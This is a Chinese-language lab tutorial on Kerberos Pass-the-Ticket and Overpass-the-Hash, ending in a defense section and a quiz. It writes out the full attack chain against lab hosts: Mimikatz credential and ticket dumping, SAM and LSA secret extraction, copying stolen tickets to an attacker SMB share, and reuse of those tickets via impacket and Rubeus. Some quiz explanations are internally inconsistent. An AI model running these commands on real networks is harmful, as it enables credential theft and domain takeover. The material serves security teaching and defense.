前言

昨天我們成功使用 Pass-the-Hash 技術橫向移動，今天要深入探討另一個關鍵技術：Pass-the-Ticket (PtT)。在現代 AD 環境中，隨著 NTLM 逐漸被限制，Kerberos 成為主要認證協定。掌握 PtT 技術，就像拿到了整個王國的通行證。

學習目標

• 深入理解 Kerberos 票證機制
• 掌握 Mimikatz 提取票證技術
• 實作跨平台票證轉換與使用
• 學習 Overpass-the-Hash 進階技術
• 了解檢測與防禦策略

一、Kerberos 票證架構深度剖析

1.1 票證類型與用途

票證類型：
├── TGT (Ticket Granting Ticket)
│   └── 用於向 KDC 請求服務票證
└── TGS (Service Ticket)
    └── 用於存取特定服務

為什麼票證系統可以成功？

原理說明：

• Kerberos 使用對稱加密，每個票證都用特定密鑰加密
• TGT 用 krbtgt 帳戶密碼加密，只有 DC 能解密
• 服務票證用目標服務帳戶密碼加密
• 一旦擁有有效票證，系統就信任持有者的身份

信任鏈流程：

1. 使用者 → 驗證身份 → 獲得 TGT
2. TGT → 請求服務 → 獲得 TGS
3. TGS → 存取服務 → 服務信任票證

1.2 Kerberos 認證流程

🔍LSASS 記憶體存取原理

為什麼能成功提取？

• LSASS 必須將憑證保存在記憶體中以支援 SSO
• Windows 允許具有 SeDebugPrivilege 的 process 讀取其他 process 記憶體
• 憑證在記憶體中以特定結構存儲，Mimikatz 知道如何解析

技術細節：

LSASS 記憶體結構：
├── MSV1_0 (NTLM 認證套件)
│   ├── 使用者名稱
│   ├── 域名
│   └── NTLM Hash
├── Kerberos (票證套件)
│   ├── TGT
│   └── TGS 列表
└── WDigest (舊版快取)
    └── 明文密碼（如果啟用）

二、使用 Mimikatz 提取票證

2.1 環境準備

PTH 進入系統的成功原理

ADMIN_HASH="aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4"

# 使用 psexec 連接
~/.venvs/impacket/bin/psexec.py -hashes $ADMIN_HASH Administrator@192.168.139.22

為什麼這步驟成功？
1.NTLM 認證機制：Windows 接受 hash 作為密碼的等價物
2.SMB 協定支援：PsExec 透過 SMB 建立服務
3.管理員權限：Administrator hash 擁有建立服務的權限

流程解析：

PsExec 執行流程：
1. SMB 認證（使用 NTLM hash）
2. 連接 ADMIN$ 共享
3. 上傳執行檔到 C:\Windows
4. 建立並啟動服務
5. 獲得 SYSTEM 權限 shell

2.2 執行 Mimikatz

C:\temp\mimikatz.exe

2.3 核心命令詳解

privilege::debug - 提升權限

privilege::debug

Debug 權限提升原理

為什麼需要這個權限？

• LSASS 是受保護的系統 process
• SeDebugPrivilege 允許繞過 process 安全描述符
• 管理員預設擁有此權限但未啟用

權限提升流程：

// Windows API 呼叫順序
1. OpenProcessToken () - 開啟目前 process 權杖
2. LookupPrivilegeValue () - 查找 SeDebugPrivilege
3. AdjustTokenPrivileges () - 啟用權限
4. OpenProcess (LSASS_PID) - 現在可以開啟 LSASS

sekurlsa::logonpasswords - 提取憑證

sekurlsa::logonpasswords

記憶體憑證提取原理

成功提取的技術基礎：
1.記憶體結構識別：Mimikatz 識別 LSASS 中的認證套件結構
2.解密演算法：使用 Windows 內部 API 解密儲存的憑證
3.多重來源：從 MSV、Kerberos、WDigest 等多個來源提取

提取流程詳解：

sekurlsa::logonpasswords

執行步驟：

1. 列舉所有登入會話
2. 對每個會話：
   a. 讀取 MSV1_0 結構 → 獲得 NTLM hash
   b. 讀取 Kerberos 結構 → 獲得票證資訊
   c. 讀取 WDigest → 嘗試獲得明文（Win7/2008）
3. 格式化輸出結果

sekurlsa::tickets /export - 導出票證

sekurlsa::tickets /export

票證導出機制詳解

檔案命名規則解析：

[0;3e7]-2-0-40e10000-Administrator@krbtgt-NORTH.SEVENKINGDOMS.LOCAL.kirbi
   |     | |    |            |             |          |
   |     | |    |            |             |          └─ 域名
   |     | |    |            |             └─ 服務類型 (krbtgt=TGT)
   |     | |    |            └─ 使用者名稱
   |     | |    └─ 票證標誌 (權限位元)
   |     | └─ 票證索引 (同一會話中的序號)
   |     └─ 票證類型 (2=TGT, 0=TGS)
   └─ LUID (登入會話識別碼)

票證標誌含義：

• 40e10000 = 可轉發、可更新、預認證、初始
• 60a10000 = 包含轉發標記的委派票證

2.4 其他重要命令

lsadump::sam - 提取本機 SAM

lsadump::sam

SAM 資料庫提取原理

為什麼能提取 SAM？

• SAM 檔案在系統執行時被鎖定
• Mimikatz 直接從記憶體讀取 SAM 結構
• 使用 SYSKEY (bootkey) 解密 hash

提取流程：

1. 從註冊表獲取 SYSKEY
2. 解密 SAM 中的 F 值
3. 列舉所有本機使用者
4. 解密每個使用者的 V 值獲得 hash

lsadump::secrets - 提取 LSA Secrets

lsadump::secrets

LSA Secrets 解密原理

儲存的敏感資訊類型：

• DefaultPassword - 自動登入密碼
• _SC_* - 服務帳號密碼
• DPAPI_SYSTEM - 系統級 DPAPI 主密鑰
• NL$KM - 快取域憑證加密密鑰

解密過程：

1. 讀取 SECURITY hive
2. 獲取 LSA 加密密鑰
3. 解密 Policy\Secrets 下的項目
4. 轉換為可讀格式

三、精確提取特定票證

3.1 切換工作目錄

工作目錄的重要性

為什麼要切換目錄？

• Mimikatz 預設在目前目錄導出檔案
• System32 目錄有特殊權限保護
• 方便後續傳輸和管理票證檔案

cd C:\temp

也可以在 Mimikatz 中切換：

3.2 提取特定使用者票證

票證過期處理策略

當票證過期時，需要重新提取：

票證生命週期：

預設時間設定：
├── TGT 有效期：10 小時
├── TGT 更新期：7 天
├── TGS 有效期：10 小時
└── 時間容差：5 分鐘

# 刪除舊票證
del *.kirbi

LUID 精確提取技術

# 提取特定 LUID 的票證
C:\temp\mimikatz.exe
sekurlsa::tickets /export/luid:0x54523

LUID 識別方法：

1. 執行 sekurlsa::logonpasswords 找到目標使用者
2. 記錄對應的 LUID 值
3. 使用 /luid: 參數精確提取

結果：

3.3 檢查提取的票證

dir *robb.stark*.kirbi

四、票證傳輸到 Kali

4.1 建立 SMB 共享

SMB 共享傳輸原理

在 Kali 上：

cd /tmp/loot
~/.venvs/impacket/bin/smbserver.py share . -smb2support

為什麼使用 SMB？

• Windows 原生支援 SMB 協定
• 不需要額外工具
• 支援大檔案傳輸
• -smb2support 確保相容性

4.2 從 Windows 複製票證

檔案傳輸流程解析

cd c:\temp
dir

複製所有票證：

copy C:\temp\*.kirbi \\192.168.139.136\share\

命令解析：

• *.kirbi - 萬用字元匹配所有票證
• \\IP\share\ - UNC 路徑格式
• Windows 自動處理 SMB 認證

或只複製特定使用者：

copy C:\temp\*robb.stark*.kirbi \\192.168.139.136\share\

確認接收成功：

五、Linux 環境 Pass-the-Ticket

5.1 票證格式轉換

Kirbi 到 Ccache 轉換原理

# 從 .kirbi 轉換為 .ccache
impacket-ticketConverter [票證名稱].kirbi [新名字].ccache

# 設定環境變數
export KRB5CCNAME=/path/to/[新名字].ccache

# 檢查票證
klist

格式差異說明：

.kirbi (Windows)          .ccache (Linux/MIT Kerberos)
├── Mimikatz 格式         ├── MIT Kerberos 格式
├── 二進制結構            ├── 標準化結構
└── Windows API 使用      └── libkrb5 使用

5.2 使用票證橫向移動

票證認證成功原理

# 使用票證連線（注意 -k 和 -no-pass）
impacket-psexec -k -no-pass -dc-ip 192.168.139.11 north.sevenkingdoms.local/robb.stark@winterfell.north.sevenkingdoms.local

參數詳解：

• -k : 使用 Kerberos 認證而非 NTLM
• -no-pass : 不需要密碼（使用票證）
• -dc-ip : 指定 KDC 位置（重要！）

認證流程：

1. 讀取 KRB5CCNAME 環境變數
2. 載入票證到記憶體
3. 向目標發送 AP-REQ
4. 目標驗證票證簽名
5. 建立認證會話

成功獲得 SYSTEM 權限：

六、Windows 環境 Pass-the-Ticket

Windows 票證注入機制

# 使用 Mimikatz 注入票證
mimikatz.exe
kerberos::ptt ticket.kirbi

注入原理：

1. 呼叫 LsaCallAuthenticationPackage
2. 傳遞票證到 Kerberos SSP
3. 票證被加入目前登入會話
4. 後續認證自動使用該票證

驗證與使用：

# 驗證票證已載入
klist

# 現在可以直接存取資源
dir \\winterfell\c$
Enter-PSSession -ComputerName winterfell.north.sevenkingdoms.local

七、Overpass-the-Hash (OpTH) 進階技術

7.1 概念說明

OpTH 技術創新點

Overpass-the-Hash 結合兩種技術的優點：

傳統限制：

• Pass-the-Hash：被 Kerberos-only 環境阻擋
• Pass-the-Ticket：需要先有票證

OpTH 解決方案：

1. 使用 NTLM hash 向 KDC 請求 TGT（合法的 Kerberos 行為）
2. 使用獲得的 TGT 進行後續認證
3. 繞過 NTLM 限制，實現 Kerberos 認證

7.2 實作 OpTH

OpTH 執行流程詳解

# 步驟 1：使用 NTLM hash 取得 TGT
impacket-getTGT -hashes :dbd13e1c4e338284ac4e9874f7de6ef4 \
    north.sevenkingdoms.local/administrator

內部流程：

1. 構造 AS-REQ 請求
2. 使用 NTLM hash 作為密鑰
3. KDC 驗證並回傳 TGT
4. 儲存為 .ccache 檔案

# 步驟 2：使用 TGT
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass administrator@winterfell.north.sevenkingdoms.local

7.3 使用 Rubeus 進行 OpTH

# 在 Windows 上
.\Rubeus.exe asktgt /user:administrator /rc4:dbd13e1c4e338284ac4e9874f7de6ef4 /ptt

參數說明：

• /user: - 目標使用者
• /rc4: - NTLM hash（RC4-HMAC）
• /ptt - Pass-the-Ticket（自動注入）

7.4 OpTH 的優勢對比

八、防禦與偵測

8.1 關鍵事件監控

檢測邏輯範例：

<!-- SIGMA 規則範例 -->
title: Suspicious Kerberos Ticket Request Pattern
detection:
    selection:
        EventID: 4768
        TicketOptions: '0x40810000'  # 可轉發 + 可更新
        TicketEncryptionType: 0x17   # RC4-HMAC
    timeframe: 5m
    condition: selection | count () > 10

8.2 防禦措施實作

多層防禦策略

# 1. 限制 NTLM - 逐步實施
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
    -Name "LmCompatibilityLevel" -Value 5

實施步驟：

1. 審計模式 - 記錄但不阻擋
2. 識別依賴 NTLM 的系統
3. 逐步遷移到 Kerberos
4. 最終啟用限制

# 2. Protected Users 群組
Add-ADGroupMember -Identity "Protected Users" -Members "Administrator"

Protected Users 保護：

• 禁止 NTLM 認證
• 禁止 DES/RC4 加密
• 票證生命週期限制為 4 小時
• 無法被委派

九、攻擊技術決策樹

需要橫向移動？
├── 有密碼？ 
│   └── 直接認證（最簡單但會留下痕跡）
├── 有 Hash？
│   ├── NTLM 可用？ 
│   │   └── Pass-the-Hash（快速有效）
│   └── 只有 Kerberos？ 
│       └── Overpass-the-Hash（繞過限制）
└── 有票證？
    ├── TGT？ 
    │   └── 萬能通行（最強大）
    └── TGS？ 
        └── 特定服務存取（有限但隱蔽）

本日重點總結

1.票證架構：理解 TGT vs TGS 的差異與用途
2.提取技術：掌握 Mimikatz 各種票證提取方法
3.格式轉換：.kirbi ↔ .ccache 跨平台使用
4.OpTH 技術：結合 Hash 和 Kerberos 的優勢
5.防禦重點：監控異常 Kerberos 活動模式

小試身手

第一題：基礎概念

Q1: 在 Kerberos 票證檔名 [0;3e7]-2-0-40e10000-Administrator@krbtgt-DOMAIN.LOCAL.kirbi 中，數字 "2" 代表什麼？

A. 票證有效期為 2 小時
B. 這是第 2 個導出的票證
C. 票證類型為 TGT（Ticket Granting Ticket）
D. 票證使用 AES-256 加密

答案：C

解析：
在 Mimikatz 票證命名規則中，第二個數字代表票證類型：

• 2 = TGT (Ticket Granting Ticket)
• 0 或 1 = TGS (Service Ticket)
• TGT 是向 KDC 請求其他服務票證的「萬能鑰匙」
• 這個位置的數字與加密方式、有效期或導出順序無關

第二題：實務操作

Q2: 執行以下命令時為什麼會失敗？

impacket-psexec -k -no-pass north.sevenkingdoms.local/robb.stark@winterfell

A. 缺少 robb.stark 的密碼
B. 沒有指定 -dc-ip 參數
C. 票證檔案格式錯誤
D. 需要先執行 kinit 命令

答案：B

解析：

• 使用 Kerberos 認證時（-k 參數），必須指定 DC 的 IP 位址
• 正確命令：impacket-psexec -k -no-pass -dc-ip 192.168.139.11 north.sevenkingdoms.local/robb.stark@winterfell
• -dc-ip 告訴工具 KDC（Key Distribution Center）的位置
• 沒有這個參數，工具無法找到域控制器來驗證票證

第三題：技術差異

Q3: 相較於 Pass-the-Hash，Overpass-the-Hash 的主要優勢是什麼？

A. 不會在目標系統留下任何日誌
B. 可以在純 Kerberos 環境中使用
C. 執行速度快 10 倍以上
D. 不需要管理員權限

答案：B

解析：

• Pass-the-Hash 限制：只能用於 NTLM 認證，在 Kerberos-only 環境會失敗
• Overpass-the-Hash 優勢：
  • 使用 NTLM hash 向 KDC 請求合法的 TGT
  • 後續使用 Kerberos 協議進行認證
  • 可繞過「禁用 NTLM」的安全設定
• OpTH 仍會產生事件日誌（Event 4768），且仍需要適當權限

第四題：防禦偵測

Q4: 以下哪個 Windows 事件 ID 最能幫助偵測異常的 Pass-the-Ticket 攻擊？

A. Event 4624 - 帳戶登入
B. Event 4768 - Kerberos TGT 請求
C. Event 7045 - 服務安裝
D. Event 4776 - NTLM 認證

答案：B

解析：

• Event 4768 記錄 TGT 請求，是偵測 PtT 的關鍵
• 異常指標：
  • 票證加密類型為 RC4-HMAC（較弱）
  • 來自異常 IP 或時間的請求
  • 大量連續的票證請求
• Pass-the-Ticket 使用現有票證時不會產生新的 4768 事件（這是攻擊者的優勢）
• Event 4624 太普遍，4776 是 NTLM 相關，7045 是 PSExec 特徵

第五題：進階應用

Q5: 安全團隊實施了以下哪項措施後，傳統的 Pass-the-Ticket 攻擊仍然有效？

A. 將所有域管理員加入 Protected Users 群組
B. 啟用 Credential Guard
C. 每 30 天更換一次 krbtgt 密碼
D. 禁用 RC4 加密，強制使用 AES

答案：D

解析：

• 禁用 RC4 只影響票證的加密強度，不影響 PtT 攻擊本身
• 為什麼其他選項會阻止 PtT：
  • Protected Users：限制票證生命週期為 4 小時，禁止委派
  • Credential Guard：使用虛擬化技術保護憑證，Mimikatz 無法提取
  • 更換 krbtgt：使所有現有票證失效（需更換兩次）
• 現代 Mimikatz 支援 AES 加密的票證，所以單純升級加密算法無法防止票證竊取